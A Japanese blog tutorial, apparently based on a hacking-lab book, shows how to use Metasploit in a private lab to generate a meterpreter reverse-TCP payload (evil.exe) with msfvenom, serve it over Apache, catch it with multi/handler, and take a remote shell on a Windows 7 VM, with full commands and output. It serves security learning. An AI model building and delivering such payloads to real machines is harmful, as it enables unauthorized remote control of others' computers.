Metasploit で Windows 7 のシェルを遠隔操作する

Windows 7

今回は Metasploit Framework を利用して擬似攻撃を行います。

Metasploit は、ペネトレーションテストや脆弱性診断で使用される監査ツールで、セキュリティ界ではかなり有名なツールのようです。

まずはこのツールを用いて Windows 7 の遠隔操作を行います。

Metasploit にはハッキング用の膨大な数のモジュールが含まれていて、今回はその中の「meterpreter」を使用します。

meterpreterはTCP型のリバースシェルで、ターゲット端末で実行コード(ペイロードと言う)を動作させると、Kali 側でターゲット端末を操作することができるようになります。

パスの特定

まずはじめに、Metasploit に含まれるモジュールを実行するにはそのモジュールのパスを指定する必要があるので、meterpreter のパスを特定します。

各種モジュールのパスを特定するには、「search」コマンドを実行します。

meterpreterであれば、ターゲット端末のOSがWindowsであり、かつTCP型リバースシェルのペイロードであるため、以下のコマンドで検索します。

msf > search type:payload reverse_tcp platform:windows

※Metasploit の起動が前提です。

すると、該当するモジュールが複数ヒットします。

msf5 > search type:payload reverse_tcp platform:windows

Matching Modules
================

# Name Disclosure Date Rank Check Description
 - ---- --------------- ---- ----- -----------
 0 payload/cmd/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
 1 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
 2 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
 3 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
 4 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
 5 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
 6 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
 7 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
 8 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
 9 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
 10 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)

上記の「payload/windows/meterpreter/reverse_tcp」がモジュールのパスになります。

ペイロードの作成

パスが特定できたので、このモジュールから実行コードであるペイロードを作成します。先述の通り、このペイロードをターゲット端末で実行させることで、Kali側でターゲット端末を遠隔操作することができるようになります。

ペイロードの作成は「msfvenom」コマンドで行うことができます。

コマンドは以下になります。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe

-p: ペイ ロードのパス
-f: 出力ファイルの形式
-o: 出力ファイルのパス
LHOST:接続先のIPアドレス

msf5 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -o /root/Desktop/evil.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: /root/Desktop/evil.exe

このコマンドを実行することで、「exil.exe」という名前のペイロードがDesktopフォルダに作成されます。

msf5 > ls -la /root/Desktop
[*] exec: ls -la /root/Desktop

total 88
drwxr-xr-x 3 root root 4096 Mar 1 08:34 .
drwx------ 16 root root 4096 Mar 1 07:55 ..
-rw-r--r-- 1 root root 73802 Mar 1 22:04 evil.exe
drwxr-xr-x 5 root root 4096 Feb 24 06:01 vbox

evil.exe をWindows7で実行すると、10.0.0.2 (Kali)に接続され、Kaliから遠隔操作できるようになります。

ペイロードの配布

ターゲット端末でペイロードを実行させるために、今回はWEBサーバ(Apache)でevil.exe を公開します。

Apacheの公開サーバディレクトリである、/var/www/html に「share」というディレクトリを作成し、そこに evil.exe を配置することで、ターゲット端末から evil.exe をダウンロードできるようにします。

配置後 Windows 7からブラウザで「10.0.0.2/share」にアクセスすれば、以下のようにevil.exe をダウンロードできます。

Kaliでリバースシェルを待ち受ける

Windows 7 でペイロードを実行しても、接続先の Kali が待ちの状態になっていないと接続が確立されません。そのため、ハンドラーモジュールと呼ばれるモジュールを使用して、Kali を接続待ちの状態とします。

ハンドラーモジュールは以下のコマンドを実行することで起動できます。

msf5 > use exploit/multi/handler

ハンドラーモジュールのプロンプトに切り替わったら、まずはペイロードを指定します。

sf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >

次に、接続先である Kali の IPアドレスを指定します。

最低限上記が設定されていれば、接続待ち状態とすることが可能です。

「exploit」コマンドを実行することで、接続待ちの状態になります。

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.2:4444

ペイロードの実行

Kali が接続待ちの状態となったため、いよいよWindows 7でペイロードを実行します。

ブラウザでダウンロードした evil.exe をダブルクリックして実行します。

すると、Windows 7側では何も変化はありませんが、Kali側ではセッションが接続されたメッセージが出力されます。

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Sending stage (180291 bytes) to 10.0.0.102
[*] Meterpreter session 1 opened (10.0.0.2:4444 -> 10.0.0.102:49166) at 2020-03-01 22:26:28 -0500

meterpreter >

「meterpreter >」のプロンプトが表示されていれば、Windows 7 を遠隔操作できる状態になっています。

コマンドプロンプトではなく、meterpreter のコマンドを使用します。

試しにコマンドを実行してみると、Windows 7の情報が出力されることがわかります。

meterpreter > pwd
C:\Users\IEUser\Desktop
meterpreter > ifconfig

Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a00:66
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 15
============
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:99:b1:5f
MTU : 1500
IPv4 Address : 10.0.0.102
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::256b:4013:4140:453f
IPv6 Netmask : ffff:ffff:ffff:ffff::

「shell」と実行すれば、コマンドプロンプトを操作することができます。

meterpreter > shell
Process 3808 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\IEUser\Desktop>
C:\Users\IEUser\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . : 
 Link-local IPv6 Address . . . . . : fe80::256b:4013:4140:453f%15
 IPv4 Address. . . . . . . . . . . : 10.0.0.102
 Subnet Mask . . . . . . . . . . . : 255.255.255.0
 Default Gateway . . . . . . . . . :

Tunnel adapter isatap.{53152A2F-39F7-458E-BD58-24D17099256A}:

Media State . . . . . . . . . . . : Media disconnected
 Connection-specific DNS Suffix . :

このように、完全に遠隔操作が可能となっています。

次回は、パスワード解析を行います。

徐々に難度が高くなっているので、記事を書くのに時間がかかっています。。

くどり

この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました